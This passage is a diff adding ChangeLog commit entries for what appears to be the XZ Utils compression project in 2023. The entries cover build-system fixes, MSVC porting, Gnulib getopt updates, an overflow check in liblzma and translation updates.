506d03127a8565442b028ec991e1578124fd3025 +Author: Jia Tan +Date: 2023-09-29 19:58:44 +0800 + + CMake: Specify LINKER_LANGUAGE for libgnu target to fix Ninja Generator. + + CMake is unable to guess the linker language for just a header file so + it must be explicitly set. + + CMakeLists.txt | 6 ++++++ + 1 file changed, 6 insertions(+) + +commit 0570308ddd9c0e39e85597ebc0e31d4fc81d436f +Author: Lasse Collin +Date: 2023-09-27 19:54:35 +0300 + + CMake: Fix Windows build with Clang/LLVM 17. + + llvm-windres 17.0.0 has more accurate emulation of GNU windres, so + the hack for GNU windres must now be used with llvm-windres too. + + LLVM 16.0.6 has the old behavior and there likely won't be more + 16.x releases. So we can simply check for >= 17.0.0. + + See also: + https://github.com/llvm/llvm-project/commit/2bcc0fdc58a220cb9921b47ec8a32c85f2511a47 + + CMakeLists.txt | 26 ++++++++++++++------------ + 1 file changed, 14 insertions(+), 12 deletions(-) + +commit 5a9af95f85a7e5d4f9c10cb8cf737651a921f1d1 +Author: Lasse Collin +Date: 2023-09-26 21:47:13 +0300 + + liblzma: Update a comment. + + The C standards don't allow an empty translation unit which can be + avoided by declaring something, without exporting any symbols. + + When I committed f644473a211394447824ea00518d0a214ff3f7f2 I had + a feeling that some specific toolchain somewhere didn't like + empty object files (assembler or maybe "ar" complained) but + I cannot find anything to confirm this now. Quite likely I + remembered nonsense. I leave this here as a note to my future self. :-) + + src/liblzma/check/crc64_table.c | 3 +-- + 1 file changed, 1 insertion(+), 2 deletions(-) + +commit 8ebaf3f665ddc7e4f19c613005050dde5ccbe499 +Author: Jia Tan +Date: 2023-09-27 00:02:11 +0800 + + liblzma: Avoid compiler warning without creating extra symbol. + + When the generic fast crc64 method is used, then we omit + lzma_crc64_table[][]. Similar to + d9166b52cf3458a4da3eb92224837ca8fc208d79, we can avoid compiler warnings + with -Wempty-translation-unit (Clang) or -pedantic (GCC) by creating a + never used typedef instead of an extra symbol. + + src/liblzma/check/crc64_table.c | 3 +-- + 1 file changed, 1 insertion(+), 2 deletions(-) + +commit 092d21db2e5eea19fe079264ce48c178989c7606 +Author: Lasse Collin +Date: 2023-09-26 17:24:15 +0300 + + Build: Update the comment about -Werror usage in checks. + + configure.ac | 10 ++++++++-- + 1 file changed, 8 insertions(+), 2 deletions(-) + +commit a37a2763383e6c204fe878e1416dd35e7711d3a9 +Author: Lasse Collin +Date: 2023-09-26 15:00:43 +0300 + + Build: Fix __attribute__((ifunc(...))) detection with clang -Wall. + + Now if user-supplied CFLAGS contains -Wall -Wextra -Wpedantic + the two checks that need -Werror will still work. + + At CMake side there is add_compile_options(-Wall -Wextra) + but it didn't affect the -Werror tests. So with both Autotools + and CMake only user-supplied CFLAGS could make the checks fail + when they shouldn't. + + This is not a full fix as things like -Wunused-macros in + user-supplied CFLAGS will still cause problems with both + GCC and Clang. + + CMakeLists.txt | 8 ++++++++ + configure.ac | 8 ++++++++ + 2 files changed, 16 insertions(+) + +commit 9c42f936939b813f25d0ff4e99c3eb9c2d17a0d2 +Author: Lasse Collin +Date: 2023-09-26 13:51:31 +0300 + + Build: Fix underquoted AC_LANG_SOURCE. + + It made no practical difference in this case. + + configure.ac | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +commit 9f1444a8a5c0e724b2c7ef83424f642f07a95982 +Author: Lasse Collin +Date: 2023-09-26 13:14:37 +0300 + + Build: Silence two Autoconf warnings. + + There were two uses of AC_COMPILE_IFELSE that didn't use + AC_LANG_SOURCE and Autoconf warned about these. The omission + had been intentional but it turned out that this didn't do + what I thought it would. + + Autoconf 2.71 manual gives an impression that AC_LANG_SOURCE + inserts all #defines that have been made with AC_DEFINE so + far (confdefs.h). The idea was that omitting AC_LANG_SOURCE + would mean that only the exact code included in the + AC_COMPILE_IFELSE call would be compiled. + + With C programs this is not true: the #defines get added without + AC_LANG_SOURCE too. There seems to be no neat way to avoid this. + Thus, with the C language at least, adding AC_LANG_SOURCE makes + no other difference than silencing a warning from Autoconf. The + generated "configure" remains identical. (Docs of AC_LANG_CONFTEST + say that the #defines have been inserted since Autoconf 2.63b and + that AC_COMPILE_IFELSE uses AC_LANG_CONFTEST. So the behavior is + documented if one also reads the docs of macros that one isn't + calling directly.) + + Any extra code, including #defines, can cause problems for + these two tests because these tests must use -Werror. + CC=clang CFLAGS=-Weverything is the most extreme example. + It enables -Wreserved-macro-identifier which warns about + #define __EXTENSIONS__ 1 because it begins with two underscores. + It's possible to write a test file that passes -Weverything but + it becomes impossible when Autoconf inserts confdefs.h. + + So this commit adds AC_LANG_SOURCE to silence Autoconf warnings. + A different solution is needed for -Werror tests. + + configure.ac | 9 ++++----- + 1 file changed, 4 insertions(+), 5 deletions(-) + +commit 519e47c2818acde571fadc79551294527fe6cc22 +Author: Jia Tan +Date: 2023-09-26 01:17:11 +0800 + + CMake: Remove accidental extra newline. + + CMakeLists.txt | 1 - + 1 file changed, 1 deletion(-) + +commit bbb42412da6a02705ba3e668e90840c2683e4e67 +Author: Jia Tan +Date: 2023-09-26 00:47:26 +0800 + + Build: Remove Gnulib dependency from tests. + + The tests do not use any Gnulib replacements so they do not need to link + libgnu.a or have /lib in the include path. + + tests/Makefile.am | 7 +------ + 1 file changed, 1 insertion(+), 6 deletions(-) + +commit d265f6b75691c6c8fa876eb5320c3ff5aed17dfa +Author: Jia Tan +Date: 2023-09-26 00:43:43 +0800 + + CMake: Remove /lib from tests include path. + + The tests never included anything from /lib, so this was not needed. + + CMakeLists.txt | 1 - + 1 file changed, 1 deletion(-) + +commit 9fb5de41f2fb654ca952d4bda15cf3777c2b720f +Author: Jia Tan +Date: 2023-09-24 22:10:41 +0800 + + Scripts: Change quoting style from `...' to '...'. + + src/scripts/xzdiff.in | 2 +- + src/scripts/xzgrep.in | 2 +- + 2 files changed, 2 insertions(+), 2 deletions(-) + +commit eaebdef4d4de3c088b0905f42626b74e0d23abf3 +Author: Jia Tan +Date: 2023-09-24 22:10:18 +0800 + + xz: Change quoting style from `...' to '...'. + + src/xz/args.c | 6 +++--- + src/xz/file_io.c | 2 +- + src/xz/main.c | 4 ++-- + src/xz/message.c | 14 +++++++------- + src/xz/options.c | 2 +- + src/xz/suffix.c | 2 +- + src/xz/util.c | 6 +++--- + 7 files changed, 18 insertions(+), 18 deletions(-) + +commit f6667702bf075a05fbe336dbf3576ad1a82ec645 +Author: Jia Tan +Date: 2023-09-24 22:09:47 +0800 + + liblzma: Change quoting style from `...' to '...'. + + This was done for both internal and API headers. + + src/liblzma/api/lzma/base.h | 18 +++++++++--------- + src/liblzma/api/lzma/container.h | 10 +++++----- + src/liblzma/api/lzma/filter.h | 6 +++--- + src/liblzma/api/lzma/index.h | 8 ++++---- + src/liblzma/api/lzma/lzma12.h | 2 +- + src/liblzma/lz/lz_encoder.h | 2 +- + src/liblzma/rangecoder/range_decoder.h | 2 +- + 7 files changed, 24 insertions(+), 24 deletions(-) + +commit be012b8097a4eaee335b51357d6befa745f753ce +Author: Jia Tan +Date: 2023-09-24 22:09:16 +0800 + + Build: Change quoting style from `...' to '...'. + + configure.ac | 18 +++++++++--------- + dos/config.h | 6 +++--- + m4/getopt.m4 | 2 +- + m4/tuklib_progname.m4 | 2 +- + windows/build.bash | 2 +- + 5 files changed, 15 insertions(+), 15 deletions(-) + +commit ce162db07f03495bd333696e66883c8f36abdc1e +Author: Jia Tan +Date: 2023-09-24 22:05:02 +0800 + + Docs: Change quoting style from `...' to '...'. + + These days the ` and ' do not look symmetric. This quoting style has + been changed in various apps over the years including the GNU tools. + + INSTALL | 6 +++--- + doc/examples/01_compress_easy.c | 2 +- + doc/examples/11_file_info.c | 16 ++++++++-------- + 3 files changed, 12 insertions(+), 12 deletions(-) + +commit db17656721e43939bfa4ec13506e7c76f4b86da6 +Author: Jia Tan +Date: 2023-09-24 21:25:01 +0800 + + lib: Silence -Wsign-conversion in getopt.c. + + lib/getopt.c | 6 +++--- + 1 file changed, 3 insertions(+), 3 deletions(-) + +commit a6234f677d66888f435010bc0b67de6a32fefcf6 +Author: Jia Tan +Date: 2023-09-24 20:48:52 +0800 + + Build: Update getopt.m4 from Gnulib. + + This file was modified from upstream since we do not need to replace + getopt() and can avoid complexity and feature tests. + + m4/getopt.m4 | 79 ++++++++++++++++++++++++++++++------------------------------ + 1 file changed, 39 insertions(+), 40 deletions(-) + +commit 84808b68f1075e8603a8ef95d361a61fdc6a5b10 +Author: Jia Tan +Date: 2023-09-26 00:09:53 +0800 + + CMake: Add /lib to include path. + + CMakeLists.txt | 5 +++++ + 1 file changed, 5 insertions(+) + +commit 01804a0b4b64e0f33568e947e0579263808c59d3 +Author: Jia Tan +Date: 2023-09-24 20:36:34 +0800 + + CMake: Update libgnu target with new header files. + + CMakeLists.txt | 5 +++++ + 1 file changed, 5 insertions(+) + +commit d34558388fe1d8929f6478d61dc322eb4f2900af +Author: Jia Tan +Date: 2023-09-23 00:47:52 +0800 + + lib: Update Makefile.am for new header files. + + lib/Makefile.am | 12 +++++++++++- + 1 file changed, 11 insertions(+), 1 deletion(-) + +commit 52bf644bdf536e20fcc743b712cede135e05eec5 +Author: Jia Tan +Date: 2023-09-24 20:34:03 +0800 + + lib: Update getopt1.c from Gnulib. + + The only difference was maintaining the conditional inclusion for + config.h. + + lib/getopt1.c | 56 ++++++++++++++++++++++---------------------------------- + 1 file changed, 22 insertions(+), 34 deletions(-) + +commit 7e884c00d0093c38339f17fb1d280eec493f42ca +Author: Jia Tan +Date: 2023-09-23 03:27:00 +0800 + + lib: Update getopt.in.h from Gnulib with modifications. + + We can still avoid modifying the contents of this file during + configuration to simplify the build systems. Gnulib added replacements + for inclusions guards for Cygwin. Cygwin should not need getopt_long + replacement so this feature can be omitted. + + is conditionally included to avoid MSVC since it is not + available. + + The definition for _GL_ARG_NONNULL was also copied into this file from + Gnulib since this stage is usually done during gnulib-tool. + + lib/getopt.in.h | 228 +++++++------------------------------------------------- + 1 file changed, 29 insertions(+), 199 deletions(-) + +commit cff05f82066ca3ce9425dafdb086325a8eef8de3 +Author: Jia Tan +Date: 2023-09-23 00:31:55 +0800 + + lib: Update getopt_int.h from Gnulib. + + lib/getopt_int.h | 109 ++++++++++++++++++++++++------------------------------- + 1 file changed, 48 insertions(+), 61 deletions(-) + +commit 04bd86a4b010d43c6a016a3857ecb38dc1d5b024 +Author: Jia Tan +Date: 2023-09-23 00:27:23 +0800 + + lib: Update getopt.c from Gnulib with modifications. + + The code maintains the prior modifications of conditionally including + config.h and disabling NLS support. + + _GL_UNUSED is repalced with the simple cast to void trick. _GL_UNUSED + is only used for these two parameters so its simpler than having to + define it. + + lib/getopt.c | 1134 +++++++++++++++++++--------------------------------------- + 1 file changed, 377 insertions(+), 757 deletions(-) + +commit 56b42be7287844db20b3a3bc1372c6ae8c040d63 +Author: Jia Tan +Date: 2023-09-23 00:18:56 +0800 + + lib: Add getopt-cdefs.h for getopt_long update. + + This was modified slightly from Gnulib. In Gnulib, it expects the + @HAVE_SYS_CDEFS_H@ to be replaced. Instead, we can set HAVE_SYS_CDEFS_H + on systems that have it and avoid copying another file into the build + directory. Since we are not using gnulib-tool, copying extra files + requires extra build system updates (and special handling with CMake) so + we should avoid when possible. + + lib/getopt-cdefs.h | 70 ++++++++++++++++++++++++++++++++++++++++++++++++++++++ + 1 file changed, 70 insertions(+) + +commit 9834e591a4cf9dc2f49e42e26bf28d1d247bc196 +Author: Jia Tan +Date: 2023-09-23 00:15:25 +0800 + + lib: Copy new header files from Gnulib without modification. + + The getopt related files have changed from Gnulib by splitting up + getopt.in.h into more modular header files. We could have kept + everything in just getopt.in.h, but this will help us continue to update + in the future. + + lib/getopt-core.h | 96 +++++++++++++++++++++++++++++++++++++++++++++++++++ + lib/getopt-ext.h | 77 +++++++++++++++++++++++++++++++++++++++++ + lib/getopt-pfx-core.h | 66 +++++++++++++++++++++++++++++++++++ + lib/getopt-pfx-ext.h | 70 +++++++++++++++++++++++++++++++++++++ + 4 files changed, 309 insertions(+) + +commit 5b7a6f06e93d99d6635a740fd2e12fab66096c93 +Author: Lasse Collin +Date: 2023-09-22 21:16:52 +0300 + + Windows: Update the version requirement comments from Win95 to W2k. + + windows/README-Windows.txt | 10 ++++------ + windows/build.bash | 6 +++--- + 2 files changed, 7 insertions(+), 9 deletions(-) + +commit e582f8e0fee46e7cd967f42f465d6bb608b73bc1 +Author: Lasse Collin +Date: 2023-09-22 21:12:54 +0300 + + tuklib_physmem: Comment out support for Windows versions older than 2000. + + src/common/tuklib_physmem.c | 20 +++++++++----------- + 1 file changed, 9 insertions(+), 11 deletions(-) + +commit 7d73d1f0e08f96c4ab7aac91b958e37a3dadf07a +Author: Lasse Collin +Date: 2023-09-24 16:32:32 +0300 + + sysdefs.h: Update the comment about __USE_MINGW_ANSI_STDIO. + + src/common/sysdefs.h | 10 +++++++++- + 1 file changed, 9 insertions(+), 1 deletion(-) + +commit 2a9929af0ab7e6c0ab725565034afe3293e51d71 +Author: Lasse Collin +Date: 2023-09-22 02:33:29 +0300 + + xz: Windows: Don't (de)compress to special files like "con" or "nul". + + Before this commit, the following writes "foo" to the + console and deletes the input file: + + echo foo | xz > con_xz + xz --suffix=_xz --decompress con_xz + + It cannot happen without --suffix because names like con.xz + are also special and so attempting to decompress con.xz + (or compress con to con.xz) will already fail when opening + the input file. + + Similar thing is possible when compressing. The following + writes to "nul" and the input file "n" is deleted. + + echo foo | xz > n + xz --suffix=ul n + + Now xz checks if the destination is a special file before + continuing. DOS/DJGPP version had a check for this but + Windows (and OS/2) didn't. + + src/xz/file_io.c | 35 ++++++++++++++++++++++++++++------- + 1 file changed, 28 insertions(+), 7 deletions(-) + +commit 01311b81f03cce1c0ce847a3d556f84dbd439343 +Author: Lasse Collin +Date: 2023-09-21 20:42:52 +0300 + + CMake: Wrap two overlong lines that are possible to wrap. + + CMakeLists.txt | 6 ++++-- + 1 file changed, 4 insertions(+), 2 deletions(-) + +commit 152d0771ddd0cffcac9042ad1a66f110d228eee2 +Author: Lasse Collin +Date: 2023-09-21 20:36:31 +0300 + + CMake: Add a comment about threads on Cygwin. + + CMakeLists.txt | 1 + + 1 file changed, 1 insertion(+) + +commit 6df988cceffaa3100b428ed816fad334935b27bf +Author: Lasse Collin +Date: 2023-09-12 23:53:25 +0300 + + MSVC: Remove Visual Studio project files and update INSTALL-MSVC.txt. + + CMake is now the preferred build file generator when building + with MSVC. + + windows/INSTALL-MSVC.txt | 37 ++-- + windows/vs2013/config.h | 157 --------------- + windows/vs2013/liblzma.vcxproj | 363 --------------------------------- + windows/vs2013/liblzma_dll.vcxproj | 398 ------------------------------------ + windows/vs2013/xz_win.sln | 48 ----- + windows/vs2017/config.h | 157 --------------- + windows/vs2017/liblzma.vcxproj | 363 --------------------------------- + windows/vs2017/liblzma_dll.vcxproj | 398 ------------------------------------ + windows/vs2017/xz_win.sln | 48 ----- + windows/vs2019/config.h | 157 --------------- + windows/vs2019/liblzma.vcxproj | 364 --------------------------------- + windows/vs2019/liblzma_dll.vcxproj | 399 ------------------------------------- + windows/vs2019/xz_win.sln | 51 ----- + 13 files changed, 12 insertions(+), 2928 deletions(-) + +commit edd563daf0da1d00018684614803c77ab62efcd6 +Author: Lasse Collin +Date: 2023-09-21 19:17:40 +0300 + + CMake: Require VS2015 or later for building xzdec. + + xzdec might build with VS2013 but it hasn't been tested. + It was never supported before and VS2013 is old anyway + so for simplicity only liblzma is supported with VS2013. + + CMakeLists.txt | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +commit daea64d158a7151ca6c255a0e4554c6d521cd589 +Author: Lasse Collin +Date: 2023-09-12 23:43:49 +0300 + + CMake: Allow building xz with Visual Studio 2015 and later. + + Building the command line tools xz and xzdec with the combination + of CMake + Visual Studio 2015/2017/2019/2022 works now. + + VS2013 update 2 should still be able to build liblzma. + VS2013 cannot build the xz command line tool because xz + needs snprintf() that roughly conforms to C99. + VS2013 is old and no extra code will be added to support it. + + Thanks to Kelvin Lee and Jia Tan for testing. + + CMakeLists.txt | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +commit 8c2d197c940d246849b2ec48109bb22e54036927 +Author: Lasse Collin +Date: 2023-09-12 23:34:31 +0300 + + MSVC: #define inline and restrict only when needed. + + This also drops the check for _WIN32 as that shouldn't be needed. + + src/common/sysdefs.h | 13 ++++++++----- + 1 file changed, 8 insertions(+), 5 deletions(-) + +commit af66cd585902045e5689a0418103ec81f19f1d0a +Author: Lasse Collin +Date: 2023-09-12 22:16:56 +0300 + + CMake: Add support for replacement getopt_long (lib/getopt*). + + Thanks to Jia Tan for the initial work. I added the libgnu target + and made a few related minor edits. + + CMakeLists.txt | 54 +++++++++++++++++++++++++++++++++++++++++++++++------- + 1 file changed, 47 insertions(+), 7 deletions(-) + +commit e3288fdb45c580cb849f6799cf419c4922004ae5 +Author: Lasse Collin +Date: 2023-09-12 21:12:34 +0300 + + CMake: Bump maximum policy version to 3.27. + + There are several new policies. CMP0149 may affect the Windows SDK + version that CMake will choose by default. The new behavior is more + predictable, always choosing the latest SDK version by default. + + The other new policies shouldn't affect this package. + + CMakeLists.txt | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +commit aff1b479c7b168652bd20305ceed4317d5db6661 +Author: Lasse Collin +Date: 2023-09-12 20:55:10 +0300 + + lib/getopt*.c: Include only HAVE_CONFIG_H is defined. + + The CMake-based build doesn't use config.h. + + Up-to-date getopt_long in Gnulib is LGPLv2 so at some + point it could be included in XZ Utils too but for now + this commit is enough to make CMake-based build possible. + + lib/getopt.c | 4 +++- + lib/getopt1.c | 4 +++- + 2 files changed, 6 insertions(+), 2 deletions(-) + +commit aa0cd585d2ed1455d35732798e0d90e3520e8ba5 +Author: Lasse Collin +Date: 2023-09-08 19:08:57 +0300 + + Doxygen: Add more C macro names to PREDEFINED. + + doxygen/Doxyfile | 7 +++++-- + 1 file changed, 5 insertions(+), 2 deletions(-) + +commit ee7709bae53637e1765ce142ef102914f1423cb5 +Author: Lasse Collin +Date: 2023-09-11 18:47:26 +0300 + + liblzma: Move a few __attribute__ uses in function declarations. + + The API headers have many attributes but these were left + as is for now. + + src/liblzma/common/common.c | 6 ++++-- + src/liblzma/common/common.h | 8 ++++---- + src/liblzma/common/memcmplen.h | 3 ++- + 3 files changed, 10 insertions(+), 7 deletions(-) + +commit 217958d88713b5dc73d366d24dd64b2b311b86fe +Author: Lasse Collin +Date: 2023-09-11 19:03:35 +0300 + + xz, xzdec, lzmainfo: Use tuklib_attr_noreturn. + + For compatibility with C23's [[noreturn]], tuklib_attr_noreturn + must be at the beginning of declaration (before "extern" or + "static", and even before any GNU C's __attribute__). + + This commit also moves all other function attributes to + the beginning of function declarations. "extern" is kept + at the beginning of a line so the attributes are listed on + separate lines before "extern" or "static". + + src/lzmainfo/lzmainfo.c | 6 ++++-- + src/xz/coder.c | 3 ++- + src/xz/hardware.h | 3 ++- + src/xz/message.h | 30 +++++++++++++++++------------- + src/xz/options.c | 3 ++- + src/xz/util.h | 8 ++++---- + src/xzdec/xzdec.c | 9 ++++++--- + 7 files changed, 37 insertions(+), 25 deletions(-) + +commit 18a66fbac031c98f9c2077fc88846e4d07849197 +Author: Lasse Collin +Date: 2023-09-11 18:53:31 +0300 + + Remove incorrect uses of __attribute__((__malloc__)). + + xrealloc() is obviously incorrect, modern GCC docs even + mention realloc() as an example where this attribute + cannot be used. + + liblzma's lzma_alloc() and lzma_alloc_zero() would be + correct uses most of the time but custom allocators + may use a memory pool or otherwise hold the pointer + so aliasing issues could happen in theory. + + The xstrdup() case likely was correct but I removed it anyway. + Now there are no __malloc__ attributes left in the code. + The allocations aren't in hot paths so this should make + no practical difference. + + src/liblzma/common/common.c | 4 ++-- + src/liblzma/common/common.h | 4 ++-- + src/xz/util.h | 4 ++-- + 3 files changed, 6 insertions(+), 6 deletions(-) + +commit 74b0e900c92d5b222b36f474f1efa431f8e262f7 +Author: Lasse Collin +Date: 2023-09-08 18:41:25 +0300 + + Build: Omit -Wc99-c11-compat since it warns about _Noreturn. + + configure.ac | 1 - + 1 file changed, 1 deletion(-) + +commit 90c94dddfd57b7d744bfad64c54e10d15778144b +Author: Lasse Collin +Date: 2023-09-08 18:19:26 +0300 + + tuklib: Update tuklib_attr_noreturn for C11/C17 and C23. + + This makes no difference for GCC or Clang as they support + GNU C's __attribute__((__noreturn__)) but this helps with MSVC: + + - VS 2019 version 16.7 and later support _Noreturn if the + options /std:c11 or /std:c17 are used. This gets handled + with the check for __STDC_VERSION__ >= 201112. + + - When MSVC isn't in C11/C17 mode, __declspec(noreturn) is used. + + C23 will deprecate _Noreturn (and ) + for [[noreturn]]. This commit anticipates that but + the final __STDC_VERSION__ value isn't known yet. + + src/common/tuklib_common.h | 22 +++++++++++++++++++++- + src/common/tuklib_exit.h | 4 ++-- + 2 files changed, 23 insertions(+), 3 deletions(-) + +commit 189f72581329ab281ad6af37f60135910cb1b146 +Author: Lasse Collin +Date: 2023-09-11 17:22:44 +0300 + + Update THANKS. + + THANKS | 1 + + 1 file changed, 1 insertion(+) + +commit 79334e7f20f2bf9e0de095835b48868f1238f584 +Author: Lasse Collin +Date: 2023-09-05 22:42:10 +0300 + + MSVC: xz: Make file_io.c and file_io.h compatible with MSVC. + + Thanks to Kelvin Lee for the original patches + and testing the modifications I made. + + src/xz/file_io.c | 26 ++++++++++++++++++++++++++ + src/xz/file_io.h | 10 ++++++++++ + 2 files changed, 36 insertions(+) + +commit c660b8d78b7bda43b12b285550d8c70e8ccec698 +Author: Lasse Collin +Date: 2023-09-05 21:33:35 +0300 + + MSVC: xz: Use GetTickCount64() to implement mytime_now(). + + It's available since Windows Vista. + + src/xz/mytime.c | 11 +++++++++-- + 1 file changed, 9 insertions(+), 2 deletions(-) + +commit 5c6f892d411670e3060f4bc309402617a209e57c +Author: Kelvin Lee +Date: 2023-09-05 15:05:09 +0300 + + MSVC: xz: Use _stricmp() instead of strcasecmp() in suffix.c. + + src/xz/suffix.c | 10 ++++++++-- + 1 file changed, 8 insertions(+), 2 deletions(-) + +commit e241051f50044259d174e8b4633dd9a1c4478408 +Author: Kelvin Lee +Date: 2023-09-05 15:01:10 +0300 + + MSVC: xz: Use _isatty() from to implement isatty(). + + src/xz/message.c | 5 +++++ + src/xz/util.c | 5 +++++ + 2 files changed, 10 insertions(+) + +commit d14bba8fc2be02a9fed8c9bcaaf61103451755f8 +Author: Kelvin Lee +Date: 2023-09-05 15:10:31 +0300 + + MSVC: xz: Use _fileno() instead of fileno(). + + src/xz/private.h | 4 ++++ + 1 file changed, 4 insertions(+) + +commit c4edd367678e6a38c42b149856159bf417da7fe1 +Author: Kelvin Lee +Date: 2023-09-05 15:00:07 +0300 + + MSVC: xzdec: Use _fileno and _setmode. + + src/xzdec/xzdec.c | 4 ++++ + 1 file changed, 4 insertions(+) + +commit cfd1054b9b539ee92524901e95d7bb5a1fe670a0 +Author: Kelvin Lee +Date: 2023-09-05 14:37:50 +0300 + + MSVC: Don't #include . + + lib/getopt.c | 4 +++- + lib/getopt.in.h | 4 +++- + src/xz/private.h | 5 ++++- + src/xzdec/xzdec.c | 5 ++++- + 4 files changed, 14 insertions(+), 4 deletions(-) + +commit adef92f23563a2cc088b31ddee9040ecc96bc996 +Author: Lasse Collin +Date: 2023-09-19 14:03:45 +0300 + + Update THANKS. + + THANKS | 1 + + 1 file changed, 1 insertion(+) + +commit 953e775941a25bfcfa353f802b13e66acb1edf2c +Author: Jia Tan +Date: 2023-09-14 21:13:23 +0800 + + CI: Enable CLMUL in address sanitization test. + + The crc64_clmul() function should be ignored by the address sanitizer + now so these builds should still pass. + + .github/workflows/ci.yml | 12 ++++-------- + 1 file changed, 4 insertions(+), 8 deletions(-) + +commit f167e79bc98f3f56af2e767b83aa81c2d2b9ed77 +Author: Lasse Collin +Date: 2023-09-14 16:35:46 +0300 + + Update THANKS. + + THANKS | 1 + + 1 file changed, 1 insertion(+) + +commit 4f44ef86758a41a8ec814096f4cb6ee6de04c82e +Author: Lasse Collin +Date: 2023-09-14 16:34:07 +0300 + + liblzma: Mark crc64_clmul() with __attribute__((__no_sanitize_address__)). + + Thanks to Agostino Sarubbo. + Fixes: https://github.com/tukaani-project/xz/issues/62 + + src/liblzma/check/crc64_fast.c | 8 ++++++++ + 1 file changed, 8 insertions(+) + +commit 7379bb3eed428c0ae734d0cc4a1fd04359d53f08 +Author: Jia Tan +Date: 2023-09-12 22:36:12 +0800 + + CMake: Fix time.h checks not running on second CMake run. + + If CMake was configured more than once, HAVE_CLOCK_GETTIME and + HAVE_CLOCK_MONOTONIC would not be set as compile definitions. The check + for librt being needed to provide HAVE_CLOCK_GETTIME was also + simplified. + + CMakeLists.txt | 18 ++++++++++-------- + 1 file changed, 10 insertions(+), 8 deletions(-) + +commit 5d691fe58286b92d704c0dc5cd0c4df22881c6c6 +Author: Jia Tan +Date: 2023-09-12 22:34:06 +0800 + + CMake: Fix unconditionally defining HAVE_CLOCK_MONOTONIC. + + If HAVE_CLOCK_GETTIME was defined, then HAVE_CLOCK_MONOTONIC was always + added as a compile definition even if the check for it failed. + + CMakeLists.txt | 8 +++----- + 1 file changed, 3 insertions(+), 5 deletions(-) + +commit eccf12866527b8d24c7d7f92f755142be8ef9b11 +Author: Lasse Collin +Date: 2023-08-31 19:50:05 +0300 + + xz: Refactor thousand separator detection and disable it on MSVC. + + Now the two variations of the format strings are created with + a macro, and the whole detection code can be easily disabled + on platforms where thousand separator formatting is known to + not work (MSVC has no support, and on DJGPP 2.05 it can have + problems in some cases). + + src/xz/util.c | 89 ++++++++++++++++++++++++++++++----------------------------- + 1 file changed, 45 insertions(+), 44 deletions(-) + +commit f7093cd9d130477c234b40aeda613964171f8f21 +Author: Lasse Collin +Date: 2023-08-31 18:14:43 +0300 + + xz: Fix a too relaxed assertion and remove uses of SSIZE_MAX. + + SSIZE_MAX isn't readily available on MSVC. Removing it means + that there is one thing less to worry when porting to MSVC. + + src/xz/file_io.c | 5 ++--- + src/xz/file_io.h | 4 ++-- + 2 files changed, 4 insertions(+), 5 deletions(-) + +commit 74c3449d8b816a724b12ebce7417e00fb597309a +Author: Jia Tan +Date: 2023-08-28 23:14:45 +0800 + + Tests: Improve invalid unpadded size check in test_lzma_index_append(). + + This check was extended to test the code added to fix a failing assert + in ae5c07b22a6b3766b84f409f1b6b5c100469068a. + + tests/test_index.c | 26 +++++++++++++++++++++++--- + 1 file changed, 23 insertions(+), 3 deletions(-) + +commit 2544274a8b8a27f4ea6c457d2c4c32eb1e4cd336 +Author: Jia Tan +Date: 2023-08-28 21:54:41 +0800 + + Tests: Improve comments in test_index.c. + + tests/test_index.c | 6 +++--- + 1 file changed, 3 insertions(+), 3 deletions(-) + +commit 49be29d6380b94e6fb26e511dd2cdbd9afce0f8b +Author: Jia Tan +Date: 2023-08-28 21:52:54 +0800 + + Update THANKS. + + THANKS | 1 + + 1 file changed, 1 insertion(+) + +commit 721e3d9f7a82f59f32795d5fb97e0210d1aa839a +Author: Jia Tan +Date: 2023-08-28 21:50:16 +0800 + + liblzma: Update assert in vli_ceil4(). + + The argument to vli_ceil4() should always guarantee the return value + is also a valid lzma_vli. Thus the highest three valid lzma_vli values + are invalid arguments. All uses of the function ensure this so the + assert is updated to match this. + + src/liblzma/common/index.h | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +commit ae5c07b22a6b3766b84f409f1b6b5c100469068a +Author: Jia Tan +Date: 2023-08-28 21:31:25 +0800 + + liblzma: Add overflow check for Unpadded size in lzma_index_append(). + + This was not a security bug since there was no path to overflow + UINT64_MAX in lzma_index_append() or when it calls index_file_size(). + The bug was discovered by a failing assert() in vli_ceil4() when called + from index_file_size() when unpadded_sum (the sum of the compressed size + of current Stream and the unpadded_size parameter) exceeds LZMA_VLI_MAX. + + Previously, the unpadded_size parameter was checked to be not greater + than UNPADDED_SIZE_MAX, but no check was done once compressed_base was + added. + + This could not have caused an integer overflow in index_file_size() when + called by lzma_index_append(). The calculation for file_size breaks down + into the sum of: + + - Compressed base from all previous Streams + - 2 * LZMA_STREAM_HEADER_SIZE (size of the current Streams header and + footer) + - stream_padding (can be set by lzma_index_stream_padding()) + - Compressed base from the current Stream + - Unpadded size (parameter to lzma_index_append()) + + The sum of everything except for Unpadded size must be less than + LZMA_VLI_MAX. This is guarenteed by overflow checks in the functions + that can set these values including lzma_index_stream_padding(), + lzma_index_append(), and lzma_index_cat(). The maximum value for + Unpadded size is enforced by lzma_index_append() to be less than or + equal UNPADDED_SIZE_MAX. Thus, the sum cannot exceed UINT64_MAX since + LZMA_VLI_MAX is half of UINT64_MAX. + + Thanks to Joona Kannisto for reporting this. + + src/liblzma/common/index.c | 6 ++++++ + 1 file changed, 6 insertions(+) + +commit 1057765aaabfe0f1397b8094531846655376ae38 +Author: Jia Tan +Date: 2023-08-28 22:18:29 +0800 + + Translations: Update the Esperanto translation. + + po/eo.po | 4 ++-- + 1 file changed, 2 insertions(+), 2 deletions(-) + +commit f2e94d064f305bb8ad77ca70f91d93e55f5cf856 +Author: Jia Tan +Date: 2023-08-26 20:10:23 +0800 + + Translations: Update the Esperanto translation. + + po/eo.po | 47 +++++++++++++++++++++++++++++------------------ + 1 file changed, 29 insertions(+), 18 deletions(-) + +commit 2b871f4dbffe3801d0da3f89806b5935f758d5f3 +Author: Jia Tan +Date: 2023-08-09 20:55:36 +0800 + + Docs: Update INSTALL for --enable-threads method win95. + + The Autotools build allows win95 threads and --enable-small together now + if the compiler supports __attribute__((__constructor__)). + + INSTALL | 6 ++++-- + 1 file changed, 4 insertions(+), 2 deletions(-) + +commit 356ad5b26b4196f085ce3afa1869154ca81faad8 +Author: Jia Tan +Date: 2023-08-09 20:54:15 +0800 + + CMake: Conditionally allow win95 threads and 